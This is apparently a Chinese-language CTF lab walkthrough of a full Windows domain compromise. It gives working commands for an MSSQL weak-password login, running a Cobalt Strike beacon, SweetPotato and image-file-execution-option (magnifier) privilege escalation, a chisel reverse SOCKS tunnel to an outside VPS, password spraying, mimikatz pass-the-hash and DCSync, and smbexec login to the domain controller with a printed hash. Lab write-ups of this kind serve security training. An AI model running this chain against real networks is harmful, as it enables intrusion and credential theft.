考点:
- mssql弱口令
- SweetPotato提权
- CS注入在线用户进程上线
- 共享文件
- CS不出网转发上线
- 映像劫持提权(放大镜提权)
- Dcsync
目标是一个windows服务器,先用fscan扫一下
fscan64.exe -h 39.99.228.4 -p 1-65535
直接把1433端口mssql服务的账号和密码扫出来了:账号:sa 密码:1qaz!QAZ
39.99.228.4:139 open
39.99.228.4:80 open
39.99.228.4:1433 open
39.99.228.4:3389 open
39.99.228.4:16453 open
39.99.228.4:16451 open
39.99.228.4:17001 open
39.99.228.4:47001 open
39.99.228.4:49755 open
[*] alive ports len is: 9
start vulscan
[*] WebTitle: http://39.99.228.4 code:200 len:703 title:IIS Windows Server
[*] WebTitle: http://39.99.228.4:47001 code:404 len:315 title:Not Found
[+] mssql:39.99.228.4:1433:sa 1qaz!QAZ
已完成 8/9 [-] (60/210) rdp 39.99.228.4:3389 administrator sysadmin remote error: tls: access denied
已完成 8/9 [-] (114/210) rdp 39.99.228.4:3389 admin 8888888 remote error: tls: access denied
已完成 8/9 [-] (169/210) rdp 39.99.228.4:3389 guest Passw0rd remote error: tls: access denied
已完成 9/9
[*] 扫描结束,耗时: 8m38.350471s
用MDUT连接一下(https://github.com/SafeGroceryStore/MDUT/releases)
文件这里传一个CS生成的马
然后执行(这里之前还执行了一下whoami命令,权限比较低,如果命令执行失败就这四个模式都试试)
C:/Users/Public/beacon.exe
虽然CS上线了,但权限还是太低了,上SweetPotato提权一下,这里我们就有system权限了(https://github.com/uknowsec/SweetPotato)(记得用那个new里的可执行文件,不然会有奇怪的报错,我卡了老久了)
C:/Users/Public/sweetpotato.exe -a whoami
然后可以直接读flag了
C:/Users/Public/sweetpotato.exe -a "type C:\Users\Administrator\flag\flag01.txt"
接下来用system权限触发beacon,这样CS就可以上线system权限的马了
C:/Users/Public/sweetpotato.exe -a "C:/Users/Public/beacon.exe"
搜集一下用户信息,可以看到这里还有一个John用户
shell net user
因为我们是最高权限,直接dump hash
查看在线用户
shell quser || qwinst
可以看到这个用户是在线的,因此我们可以用CS直接注入进程上线
上线后查看用户可以看到它存在共享文件
读出来一个账号密码,以及提示映像劫持
shell type \\tsclient\c\credential.txt
beacon> shell type \\tsclient\c\credential.txt
[*] Tasked beacon to run: type \\tsclient\c\credential.txt
[+] host called home, sent: 63 bytes
[+] received output:
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
Do you know how to hijack Image?
老规矩,传fscan扫一下内网
172.22.8.18:1433 open
172.22.8.31:445 open
172.22.8.15:445 open
172.22.8.18:445 open
172.22.8.46:445 open
172.22.8.46:139 open
172.22.8.31:135 open
172.22.8.31:139 open
172.22.8.15:135 open
172.22.8.15:139 open
172.22.8.18:135 open
172.22.8.18:139 open
172.22.8.46:135 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.15:88 open
[*] NetInfo:
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[*] NetInfo:
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] NetInfo:
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:2ce5:34ee:d89c:1d6b
[*] NetBios: 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] WebTitle: http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[*] NetInfo:
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] NetBios: 172.22.8.46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.8.15 [+]DC XIAORANG\DC01
[*] WebTitle: http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ
进内网了,老流程搭代理:
自己的vps上运行:
./chisel server -p 1234 --reverse
这次是windows机当跳板机,但命令一样的(这次换成6666端口搭socks代理了):
chisel.exe client vps:1234 R:0.0.0.0:6666:socks
在kali上配一下proxychains
vim /etc/proxychains4.conf
喷洒一下密码(其实也就是用密码一个一个碰撞看能不能登录上哪台机器)
proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
然后你登录的话会显示密码过期了,我忘截图了,然后我们需要改密码,用的是工具impacket里面的脚本(https://github.com/SecureAuthCorp/impacket)
python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Whoami@666'
然后因为后面要用RDP远程桌面登录远程主机,所以我用profixier搭了一个全局代理:
172.22.8.15 rdp不上
172.22.8.31 登不了
172.22.8.46 成功登录
然后这台机器是不出网的,然后我用172.22.8.18转发上线的CS
利用这个内网里的主机创建一个listener
然后选这个listener生成马
远程桌面我们可以直接把本机的文件复制粘贴过去,所以生成完复制过去然后点一下即可上线
下一步就是映像劫持提权,先查看权限:
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
这里我们发现所有正常登录的用户都可以修改注册表,利用这个性质,修改注册表映像劫持,使用放大镜进行提权,其实也就是把本来用户主页点放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe,这样就直接提权成system了
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
然后点左下角的头像锁屏
进主页点右下角的放大镜
直接就system权限了
然后运行我们的马,就可以上线system权限的马了
上线完第二个flag也就拿到了
shell type C:\Users\Administrator\flag\flag02.txt
接下来进行一些域信息搜集
logonpasswords
shell net user /domain
shell net group "domain admins" /domain
发现win2016$在域管组里,即机器账户可以Hash传递登录域控,所以相当于直接拿域控了。(因此这里最简单的做法是logonpaswords抓到win2016$的哈希之后用他哈希直接pth域控)
但我当时的做法是注入机器账户哈希pth然后dump域控哈希,绕路了
shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:抓到的机器账户哈希" "exit"
然后用mimikatz dcsync dump所有用户的hash获得域控哈希
shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
最后哈希传递登录域控,即可拿到最后一个flag
proxychains python3 smbexec.py -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 administrator@172.22.8.15
看别人wp感觉不是很难,但自己打的时候好多细节的地方卡住了,花了很多时间,打内网还得自己手搓一遍才算懂啊